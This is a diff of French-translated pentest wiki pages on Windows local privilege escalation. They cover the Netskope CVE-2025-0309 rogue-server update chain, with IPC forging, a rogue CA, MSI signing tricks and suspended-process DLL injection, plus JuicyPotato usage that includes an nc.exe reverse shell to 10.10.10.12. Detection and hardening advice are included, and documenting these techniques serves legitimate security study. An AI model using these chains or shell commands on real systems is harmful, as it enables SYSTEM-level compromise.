+Cette page généralise une classe de chaînes d'escalade de privilèges locales Windows trouvées dans les agents endpoint d'entreprise et les updaters qui exposent une surface IPC à faible friction et un flux de mise à jour privilégié. Un exemple représentatif est Netskope Client for Windows < R129 (CVE-2025-0309), où un utilisateur à privilèges limités peut forcer l'enrôlement vers un serveur contrôlé par l'attaquant puis livrer un MSI malveillant que le service SYSTEM installe.
 
 Idées clés réutilisables contre des produits similaires :
-- Abuser de l'IPC localhost d'un service privilégié pour forcer la ré‑inscription ou la reconfiguration vers un serveur de l'attaquant.
-- Implémenter les update endpoints du vendor, livrer un Trusted Root CA rogue, et pointer l'updater vers un package malveillant « signé ».
-- Éviter les vérifications faibles du signer (CN allow‑lists), les flags digest optionnels, et les propriétés MSI laxistes.
-- Si l'IPC est « encrypted », dériver la key/IV à partir d'identifiants machine lisibles par tous stockés dans le registry.
-- Si le service restreint les appelants par image path/process name, injecter dans un processus allow‑listé ou en lancer un suspendu et bootstrapper votre DLL via un patch minimal du thread‑context.
+- Abuser de l'IPC localhost d'un service privilégié pour forcer un ré-enrôlement ou une reconfiguration vers un serveur attaquant.
+- Implémenter les endpoints de mise à jour du vendor, livrer un Trusted Root CA rogue, et pointer l'updater vers un package malveillant « signé ».
+- Éviter des vérifications de signature faibles (CN allow‑lists), flags de digest optionnels, et propriétés MSI laxistes.
+- Si l'IPC est « chiffré », dériver la key/IV à partir d'identifiants machine lisibles globalement stockés dans le registry.
+- Si le service restreint les appelants par image path/process name, injecter dans un process allow‑listé ou en en créer un suspendu et bootstrapper votre DLL via un minimal thread‑context patch.
 
 ---
-## 1) Forcer l'inscription vers un serveur contrôlé par l'attaquant via l'IPC localhost
+## 1) Forcing enrollment to an attacker server via localhost IPC
 
-De nombreux agents incluent un processus UI en mode utilisateur qui communique avec un service SYSTEM via TCP localhost en utilisant JSON.
+Many agents ship a user‑mode UI process that talks to a SYSTEM service over localhost TCP using JSON.
 
-Observé chez Netskope :
+Observed in Netskope:
 - UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
 - IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
 
-Flux d'exploitation :
+Exploit flow:
 1) Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required.
 2) Send the IPC message invoking the provisioning command with your JWT and tenant name:
 ```json
@@ -31,90 +31,90 @@ Flux d'exploitation :
 }
 }
 ```
-3) Le service commence à contacter votre serveur malveillant pour l'enrôlement/la configuration, p. ex. :
+3) Le service commence à contacter votre serveur malveillant pour enrollment/config, par ex. :
 - /v1/externalhost?service=enrollment
 - /config/user/getbrandingbyemail
 
 Remarques :
-- Si la vérification de l'appelant est basée sur le chemin/nom, faites provenir la requête d'un vendor binary allow‑listed (voir §4).
+- Si la vérification de l'appelant est path/name‑based, faites provenir la requête d'un binaire fournisseur figurant sur la liste blanche (voir §4).
 
 ---
-## 2) Détourner le canal de mise à jour pour exécuter du code en tant que SYSTEM
+## 2) Détournement du canal de mise à jour pour exécuter du code en tant que SYSTEM
 
-Une fois que le client communique avec votre serveur, implémentez les endpoints attendus et orientez-le vers un attacker MSI. Séquence typique :
+Une fois que le client communique avec votre serveur, implémentez les endpoints attendus et redirigez-le vers un MSI malveillant. Séquence typique :
 
-1) /v2/config/org/clientconfig → Retourner la configuration JSON avec un intervalle de mise à jour très court, p. ex. :
+1) /v2/config/org/clientconfig → Retourner la configuration JSON avec un intervalle de mise à jour très court, par ex. :
 ```json
 {
 "clientUpdate": { "updateIntervalInMin": 1 },
 "check_msi_digest": false
 }
 ```
-2) /config/ca/cert → Retourne un certificat CA au format PEM. Le service l'installe dans le magasin Trusted Root de Local Machine.
-3) /v2/checkupdate → Fournit des métadonnées pointant vers un MSI malveillant et une version factice.
+2) /config/ca/cert → Retourne un certificat CA au format PEM. Le service l’installe dans le magasin Local Machine Trusted Root.
+3) /v2/checkupdate → Fournit des métadonnées pointant vers un MSI malveillant et une fausse version.
 
-Bypass des vérifications courantes observées en pratique :
-- Signer CN allow‑list : le service peut se contenter de vérifier que le Subject CN est “netSkope Inc” ou “Netskope, Inc.”. Votre CA malveillante peut émettre un certificat leaf avec ce CN et signer le MSI.
-- CERT_DIGEST property : inclure une propriété MSI bénigne nommée CERT_DIGEST. Aucune application de cette valeur à l'installation.
+Bypass des contrôles courants observés sur le terrain :
+- Signer CN allow‑list : le service peut simplement vérifier que le Subject CN est “netSkope Inc” ou “Netskope, Inc.”. Votre rogue CA peut émettre un certificat leaf avec ce CN et signer le MSI.
+- CERT_DIGEST property : inclure une propriété MSI bénigne nommée CERT_DIGEST. Aucune vérification lors de l’installation.
 - Optional digest enforcement : un flag de config (par ex., check_msi_digest=false) désactive la validation cryptographique supplémentaire.
 
 Résultat : le service SYSTEM installe votre MSI depuis
 C:\ProgramData\Netskope\stAgent\data\*.msi
-et exécute du code arbitraire en tant que NT AUTHORITY\SYSTEM.
+exécutant du code arbitraire en tant que NT AUTHORITY\SYSTEM.
 
 ---
-## 3) Forging encrypted IPC requests (when present)
+## 3) Falsification de requêtes IPC chiffrées (lorsqu'elles sont présentes)
 
-Depuis R127, Netskope encapsulait le JSON IPC dans un champ encryptData qui ressemble à du Base64. Le reverse engineering a montré un AES avec key/IV dérivés de valeurs de registre lisibles par n’importe quel utilisateur :
+Depuis R127, Netskope encapsulait le JSON IPC dans un champ encryptData qui ressemble à du Base64. Le reverse a montré un AES avec clé/IV dérivés de valeurs de registre lisibles par n’importe quel utilisateur :
 - Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
 - IV  = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
 
-Les attaquants peuvent reproduire le chiffrement et envoyer des commandes chiffrées valides depuis un utilisateur standard. Astuce générale : si un agent "chiffre" soudainement son IPC, cherchez des device IDs, product GUIDs, install IDs sous HKLM comme matériau.
+Les attaquants peuvent reproduire le chiffrement et envoyer des commandes chiffrées valides depuis un utilisateur standard. Astuce générale : si un agent se met soudainement à “chiffrer” son IPC, cherchez des device IDs, product GUIDs, install IDs sous HKLM comme matériau.
 
 ---
-## 4) Bypassing IPC caller allow‑lists (path/name checks)
+## 4) Contournement des allow‑lists d'appelants IPC (vérification de chemin/nom)
 
-Certains services tentent d'authentifier le pair en résolvant le PID de la connexion TCP et en comparant le chemin/nom de l'image avec des binaires vendor allow‑listés situés sous Program Files (par ex., stagentui.exe, bwansvc.exe, epdlp.exe).
+Certains services tentent d’authentifier le pair en résolvant le PID de la connexion TCP et en comparant le chemin/nom de l’image à des binaires vendor allow‑listés situés sous Program Files (par ex., stagentui.exe, bwansvc.exe, epdlp.exe).
 
 Deux contournements pratiques :
-- DLL injection dans un processus allow‑listé (par ex., nsdiag.exe) et proxy de l'IPC depuis l'intérieur.
-- Lancer un binaire allow‑listé en suspended et bootstrapper votre DLL proxy sans CreateRemoteThread (voir §5) pour satisfaire les règles anti‑tamper appliquées par le driver.
+- DLL injection dans un processus allow‑listé (par ex., nsdiag.exe) et proxy de l’IPC depuis l’intérieur.
+- Lancer un binaire allow‑listé en état suspended et bootstrapper votre DLL proxy sans CreateRemoteThread (voir §5) pour satisfaire les règles de protection appliquées par le driver.
 
 ---
-## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
+## 5) Injection compatible avec la protection anti‑manipulation : processus suspended + patch NtContinue
 
-Les produits fournissent souvent un minifilter / OB callbacks driver (par ex., Stadrv) pour retirer des droits dangereux des handles vers les processus protégés :
+Les produits embarquent souvent un minifilter/OB callbacks driver (par ex., Stadrv) pour retirer les droits dangereux des handles vers les processus protégés :
 - Process : supprime PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
-- Thread : limite à THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
+- Thread : restreint à THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
 
 Un loader user‑mode fiable qui respecte ces contraintes :
-1) CreateProcess d'un binaire vendor avec CREATE_SUSPENDED.
-2) Obtenir les handles encore autorisés : PROCESS_VM_WRITE | PROCESS_VM_OPERATION sur le process, et un handle de thread avec THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (ou juste THREAD_RESUME si vous patcher du code à un RIP connu).
-3) Écraser ntdll!NtContinue (ou un autre thunk précoce garanti mappé) par un petit stub qui appelle LoadLibraryW sur le chemin de votre DLL, puis saute en arrière.
-4) ResumeThread pour déclencher votre stub in‑process et charger votre DLL.
+1) CreateProcess d’un binaire vendor avec CREATE_SUSPENDED.
+2) Obtenir les handles encore autorisés : PROCESS_VM_WRITE | PROCESS_VM_OPERATION sur le processus, et un handle de thread avec THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (ou juste THREAD_RESUME si vous patcher du code à un RIP connu).
+3) Écraser ntdll!NtContinue (ou un autre thunk précoce garanti mappé) par un petit stub qui appelle LoadLibraryW sur le chemin de votre DLL, puis revient.
+4) ResumeThread pour déclencher votre stub en‑process, chargeant votre DLL.
 
-Parce que vous n'avez jamais utilisé PROCESS_CREATE_THREAD ou PROCESS_SUSPEND_RESUME sur un process déjà‑protégé (vous l'avez créé), la politique du driver est satisfaite.
+Comme vous n’avez jamais utilisé PROCESS_CREATE_THREAD ou PROCESS_SUSPEND_RESUME sur un processus déjà protégé (vous l’avez créé), la politique du driver est satisfaite.
 
 ---
-## 6) Practical tooling
-- NachoVPN (Netskope plugin) automatise une CA malveillante, la signature d’un MSI malveillant, et fournit les endpoints nécessaires : /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
-- UpSkope est un client IPC personnalisé qui fabrique des messages IPC arbitraires (optionnellement AES‑chiffrés) et inclut l'injection via processus suspendu pour émaner d'un binaire allow‑listé.
+## 6) Outils pratiques
+- NachoVPN (Netskope plugin) automatise une rogue CA, la signature de MSI malveillant, et sert les endpoints nécessaires : /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
+- UpSkope est un client IPC personnalisé qui fabrique des messages IPC arbitraires (optionnellement AES‑encrypted) et inclut l’injection via processus suspended pour émettre depuis un binaire allow‑listé.
 
 ---
-## 7) Detection opportunities (blue team)
-- Surveiller les ajouts au Local Machine Trusted Root. Sysmon + registry‑mod eventing (voir les recommandations SpecterOps) fonctionne bien.
-- Signaler les exécutions de MSI initiées par le service de l'agent depuis des chemins comme C:\ProgramData\\\data\*.msi.
-- Examiner les logs de l'agent pour des hosts/tenants d'enrôlement inattendus, ex. : C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – rechercher des anomalies addonUrl / tenant et provisioning msg 148.
-- Alerter sur les clients IPC localhost qui ne sont pas les binaires signés attendus, ou qui proviennent d'arbres de processus enfants inhabituels.
+## 7) Opportunités de détection (blue team)
+- Surveiller les ajouts au Local Machine Trusted Root. Sysmon + registry‑mod eventing (voir les recommandations de SpecterOps) fonctionne bien.
+- Signaler les exécutions de MSI initiées par le service de l’agent depuis des chemins comme C:\ProgramData\\\data\*.msi.
+- Examiner les logs de l’agent pour des hosts/tenants d’enrôlement inattendus, p.ex. : C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – chercher les anomalies addonUrl / tenant et le provisioning msg 148.
+- Alerter sur des clients IPC localhost qui ne sont pas les binaires signés attendus, ou qui proviennent d’arbres de processus enfants inhabituels.
 
 ---
-## Hardening tips for vendors
-- Lier les hosts d'enrôlement/update à une allow‑list stricte ; rejeter les domaines non fiables dans clientcode.
-- Authentifier les peers IPC avec des primitives OS (ALPC security, named‑pipe SIDs) plutôt qu'avec des vérifications de chemin/nom d'image.
-- Garder le matériel secret hors de HKLM lisible par tous ; si l'IPC doit être chiffré, dériver les clés depuis des secrets protégés ou négocier sur des canaux authentifiés.
-- Traiter l'updater comme une surface de la supply‑chain : exiger une chaîne complète vers une CA de confiance que vous contrôlez, vérifier les signatures des packages contre des clés épinglées, et échouer fermé si la validation est désactivée dans la config.
+## Conseils de durcissement pour les éditeurs
+- Lier les hosts d’enrôlement/update à une allow‑list stricte ; rejeter les domaines non fiables dans clientcode.
+- Authentifier les pairs IPC avec des primitives OS (ALPC security, named‑pipe SIDs) au lieu de vérifications basées sur le chemin/nom de l’image.
+- Garder le matériel secret hors de HKLM lisible par tous ; si l’IPC doit être chiffré, dériver les clés à partir de secrets protégés ou négocier sur des canaux authentifiés.
+- Traiter l’updater comme une surface de la chaîne d’approvisionnement : exiger une chaîne complète vers une CA de confiance que vous contrôlez, vérifier les signatures des paquets contre des clés épinglées, et échouer fermé si la validation est désactivée en config.
 
-## References
+## Références
 - [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
 - [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN)
 - [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope)
diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
index c11346c60..6846d2b23 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-> [!WARNING] > JuicyPotato est obsolète. Il fonctionne généralement sur les versions de Windows jusqu'à Windows 10 1803 / Windows Server 2016. Les changements apportés par Microsoft à partir de Windows 10 1809 / Server 2019 ont cassé la technique originale. Pour ces builds et les versions plus récentes, envisagez des alternatives modernes telles que PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato et autres. Voir la page ci‑dessous pour des options et usages à jour.
+> [!WARNING] > JuicyPotato est obsolète. Il fonctionne généralement sur les versions de Windows jusqu'à Windows 10 1803 / Windows Server 2016. Les changements opérés par Microsoft à partir de Windows 10 1809 / Server 2019 ont cassé la technique originale. Pour ces builds et versions plus récentes, envisagez des alternatives modernes telles que PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato et d'autres. Voir la page ci‑dessous pour des options et usages à jour.
 
 
 {{#ref}}
@@ -11,49 +11,49 @@ roguepotato-and-printspoofer.md
 
 ## Juicy Potato (abus des privilèges 'golden') 
 
-_Une version sucrée de_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, avec un peu de jus, c.-à-d. **un autre outil de Local Privilege Escalation, de Windows Service Accounts vers NT AUTHORITY\SYSTEM**_
+_Une version sucrée de_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, avec un peu de jus, c.-à-d. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
 
-#### Vous pouvez télécharger juicypotato depuis [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
+#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
 
 ### Notes rapides de compatibilité
 
-- Fonctionne de façon fiable jusqu'à Windows 10 1803 et Windows Server 2016 lorsque le contexte courant dispose de SeImpersonatePrivilege ou SeAssignPrimaryTokenPrivilege.
-- Cassé par le durcissement Microsoft dans Windows 10 1809 / Windows Server 2019 et suivants. Préférez les alternatives listées ci‑dessus pour ces builds.
+- Fonctionne de manière fiable jusqu'à Windows 10 1803 et Windows Server 2016 lorsque le contexte courant possède `SeImpersonatePrivilege` ou `SeAssignPrimaryTokenPrivilege`.
+- Cassée par le durcissement effectué par Microsoft dans Windows 10 1809 / Windows Server 2019 et versions ultérieures. Préférez les alternatives liées ci‑dessus pour ces builds.
 
 ### Résumé 
 
-[**Extrait du Readme de juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
+[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
 
-[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) et ses [variants](https://github.com/decoder-it/lonelypotato) exploitent la chaîne d'escalade de privilèges basée sur le service [`BITS`]() [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) ayant le listener MiTM sur `127.0.0.1:6666` et lorsque vous disposez des privilèges `SeImpersonate` ou `SeAssignPrimaryToken`. Lors d'une revue de build Windows nous avons trouvé une configuration où `BITS` était intentionnellement désactivé et le port `6666` occupé.
+[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`]() [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
 
-Nous avons décidé d'exploiter [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) : **Voici Juicy Potato**.
+We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Voici Juicy Potato**.
 
-> Pour la théorie, voir [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) et suivez la chaîne de liens et références.
+> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references.
 
-Nous avons découvert que, en dehors de `BITS`, il existe plusieurs serveurs COM que nous pouvons abuser. Ils doivent simplement :
+We discovered that, other than `BITS` there are a several COM servers we can abuse. They just need to:
 
-1. être instanciables par l'utilisateur courant, normalement un “service user” qui a des privilèges d'impersonation
+1. être instanciables par l'utilisateur courant, normalement un “service user” qui dispose de privilèges d'impersonation
 2. implémenter l'interface `IMarshal`
 3. s'exécuter en tant qu'utilisateur élevé (SYSTEM, Administrator, …)
 
-Après quelques tests, nous avons obtenu et vérifié une liste exhaustive de [CLSID intéressants](http://ohpe.it/juicy-potato/CLSID/) sur plusieurs versions de Windows.
+After some testing we obtained and tested an extensive list of [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) on several Windows versions.
 
 ### Détails juteux 
 
 JuicyPotato vous permet de :
 
-- **Target CLSID** _choisissez n'importe quel CLSID que vous voulez._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _vous pouvez trouver la liste organisée par OS._
-- **COM Listening port** _définissez le port d'écoute COM que vous préférez (au lieu du 6666 codé en dur dans le marshalling)_
-- **COM Listening IP address** _lier le serveur sur n'importe quelle IP_
-- **Process creation mode** _en fonction des privilèges de l'utilisateur impersonné vous pouvez choisir parmi :_
+- **Target CLSID** _choisissez le CLSID que vous voulez._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _vous pouvez trouver la liste organisée par OS._
+- **COM Listening port** _définissez le port d'écoute COM que vous préférez (au lieu du `6666` marshallé codé en dur)_
+- **COM Listening IP address** _associer le serveur à n'importe quelle IP_
+- **Process creation mode** _selon les privilèges de l'utilisateur impersonné, vous pouvez choisir parmi :_
 - `CreateProcessWithToken` (needs `SeImpersonate`)
 - `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
 - `both`
-- **Process to launch** _lancez un exécutable ou un script si l'exploitation réussit_
-- **Process Argument** _personnalisez les arguments du processus lancé_
-- **RPC Server address** _pour une approche discrète vous pouvez vous authentifier auprès d'un serveur RPC externe_
-- **RPC Server port** _utile si vous souhaitez vous authentifier auprès d'un serveur externe et que le pare‑feu bloque le port `135`…_
-- **TEST mode** _principalement pour des tests, i.e. tester des CLSIDs. Il crée le DCOM et affiche l'utilisateur du token. Voir_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
+- **Process to launch** _lancer un exécutable ou un script si l'exploitation réussit_
+- **Process Argument** _personnaliser les arguments du processus lancé_
+- **RPC Server address** _pour une approche discrète, vous pouvez vous authentifier auprès d'un serveur RPC externe_
+- **RPC Server port** _utile si vous voulez vous authentifier vers un serveur externe et qu'un firewall bloque le port `135`…_
+- **TEST mode** _principalement pour des tests, i.e. tester des CLSID. Il crée le DCOM et affiche l'utilisateur du token. Voir_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
 
 ### Utilisation 
 ```
@@ -72,13 +72,13 @@ Optional args:
 -k : RPC server ip address (default 127.0.0.1)
 -n : RPC server listen port (default 135)
 ```
-### Final thoughts 
+### Remarques finales 
 
 [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
 
-Si l'utilisateur possède les privilèges `SeImpersonate` ou `SeAssignPrimaryToken`, alors vous êtes **SYSTEM**.
+If the user has `SeImpersonate` or `SeAssignPrimaryToken` privileges then you are **SYSTEM**.
 
-Il est presque impossible d'empêcher l'abus de tous ces COM Servers. Vous pourriez envisager de modifier les permissions de ces objets via `DCOMCNFG`, mais bonne chance, ce sera difficile.
+Il est presque impossible d'empêcher l'abus de tous ces COM Servers. Vous pourriez envisager de modifier les permissions de ces objets via `DCOMCNFG` mais bonne chance, ça va être difficile.
 
 La vraie solution est de protéger les comptes sensibles et les applications qui s'exécutent sous les comptes `* SERVICE`. Bloquer `DCOM` inhiberait certainement cet exploit mais pourrait avoir un impact sérieux sur le système d'exploitation sous-jacent.
 
@@ -86,16 +86,16 @@ From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
 
 ## JuicyPotatoNG (2022+)
 
-JuicyPotatoNG réintroduit un local privilege escalation de type JuicyPotato sur les Windows modernes en combinant :
-- la résolution DCOM OXID vers un serveur RPC local sur un port choisi, évitant l'ancien listener codé en dur 127.0.0.1:6666.
-- un hook SSPI pour capturer et usurper l'authentification SYSTEM entrante sans nécessiter RpcImpersonateClient, ce qui permet également CreateProcessAsUser lorsque seul SeAssignPrimaryTokenPrivilege est présent.
-- des astuces pour satisfaire les contraintes d'activation DCOM (par ex., l'ancienne exigence de groupe INTERACTIVE lors du ciblage des classes PrintNotify / ActiveX Installer Service).
+JuicyPotatoNG réintroduit une élévation de privilèges locale JuicyPotato-style sur les versions modernes de Windows en combinant :
+- résolution OXID DCOM vers un serveur RPC local sur un port choisi, évitant l'ancien listener codé en dur 127.0.0.1:6666.
+- un hook SSPI pour capturer et usurper l'authentification entrante SYSTEM sans nécessiter RpcImpersonateClient, ce qui permet aussi CreateProcessAsUser lorsqu'uniquement SeAssignPrimaryTokenPrivilege est présent.
+- des astuces pour satisfaire les contraintes d'activation DCOM (par ex., l'ancienne exigence du groupe INTERACTIVE lorsqu'on cible les classes PrintNotify / ActiveX Installer Service).
 
-Remarques importantes (comportement évolutif selon les builds) :
-- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
+Notes importantes (comportement évolutif selon les builds) :
+- September 2022: la technique initiale fonctionnait sur les cibles Windows 10/11 et Server prises en charge en utilisant le “INTERACTIVE trick”.
 - January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
 
-Basic usage (more flags in the help):
+Utilisation de base (plus d'options dans l'aide) :
 ```
 JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
 # Useful helpers:
@@ -103,13 +103,13 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
 #  -s  Scan for a COM port not filtered by Windows Defender Firewall
 #  -i  Interactive console (only with CreateProcessAsUser)
 ```
-Si vous ciblez Windows 10 1809 / Server 2019 où la version classique de JuicyPotato est patchée, privilégiez les alternatives indiquées en haut (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG peut être situationnel selon le build et l'état des services.
+Si vous ciblez Windows 10 1809 / Server 2019 où le JuicyPotato classique est patché, privilégiez les alternatives liées en haut (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG peut être situationnel selon la build et l'état du service.
 
 ## Exemples
 
-Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try.
+Note: Visitez [this page](https://ohpe.it/juicy-potato/CLSID/) pour une liste de CLSIDs à essayer.
 
-### Obtenir un reverse shell avec nc.exe
+### Obtenir un nc.exe reverse shell
 ```
 c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
 
@@ -132,19 +132,19 @@ c:\Users\Public>
 
 ## Problèmes de CLSID
 
-Souvent, le CLSID par défaut utilisé par JuicyPotato **ne fonctionne pas** et l'exploit échoue. En général, il faut plusieurs tentatives pour trouver un **CLSID fonctionnel**. Pour obtenir une liste de CLSIDs à tester pour un système d'exploitation spécifique, vous devriez visiter cette page :
+Souvent, le CLSID par défaut que JuicyPotato utilise **ne fonctionne pas** et l'exploit échoue. Généralement, il faut plusieurs tentatives pour trouver un **CLSID fonctionnel**. Pour obtenir une liste de CLSID à essayer pour un système d'exploitation spécifique, vous devriez visiter cette page :
 
 - [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
 
-### **Vérifier les CLSIDs**
+### **Vérification des CLSID**
 
-D'abord, vous aurez besoin de quelques exécutables en plus de juicypotato.exe.
+Tout d'abord, vous aurez besoin de quelques exécutables en plus de juicypotato.exe.
 
-Téléchargez [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) et chargez-le dans votre session PS, puis téléchargez et exécutez [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Ce script créera une liste de CLSIDs possibles à tester.
+Téléchargez [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) et chargez-le dans votre session PS, puis téléchargez et exécutez [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Ce script créera une liste de CLSID possibles à tester.
 
-Ensuite, téléchargez [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(changez le chemin vers la liste de CLSID et vers l'exécutable juicypotato) et exécutez-le. Il commencera à essayer chaque CLSID, et **lorsque le numéro de port change, cela signifie que le CLSID a fonctionné**.
+Ensuite, téléchargez [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (changez le chemin vers la liste de CLSID et vers l'exécutable juicypotato) et exécutez-le. Il commencera à essayer chaque CLSID, et **lorsque le numéro de port change, cela signifie que le CLSID a fonctionné**.
 
-**Vérifiez** les CLSIDs fonctionnels **en utilisant le paramètre -c**
+**Vérifiez** les CLSID fonctionnels **en utilisant le paramètre -c**
 
 ## Références